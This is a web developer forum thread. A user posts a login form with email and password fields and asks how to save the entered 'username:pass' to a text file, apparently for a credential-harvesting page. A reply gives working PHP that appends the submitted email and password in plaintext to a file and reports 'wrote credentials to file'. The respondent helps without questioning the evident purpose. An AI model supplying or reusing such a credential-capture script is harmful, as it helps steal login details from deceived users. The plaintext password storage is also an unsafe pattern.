/    Sign up×
Community /Pin to ProfileBookmark

Form to txt script help

Here is my code:
<td><input type=”text” name=”email” id=”email” value=”” size=”23″ style=”width:165px;”></td>
<td><input type=”password” name=”password” id=”Pass” size=”23″ style=”width:165px;”></td>
<input type=”image” src=”imageshack.com/upload/3943853343″ id=”loginbutton” name=”loginbutton” alt=”Log In” onClick=”return doSubmit();” /></td>

I have yet to figure out how to save the username and password in a txt doc.
I want to save the username:pass from the form into a .txt doc help me out here!

to post a comment
PHP

1 Comments(s)

Copy linkTweet thisAlerts:
@php_hazard_01Jul 24.2007 — http://www.php.net/manual/en/function.fwrite.php

the example given in the manual of PHP can be extended.

[code=php]<?php
$filename = 'test.txt'; //path to an existing file or path to write a new one..

//get the superglobal variables passed from your form.
$temp1 = $_POST['email'];
$temp2 = $_POST['password'];
$somecontent = $temp1 ." | ". $temp2;

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote credentials to file ($filename)";

fclose($handle);

} else {
echo "The file $filename is not writable";
}
?> [/code]


hope that helps...

please point out what i have written that's wrong...
×

Success!

Help @NeedToScript spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.18,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...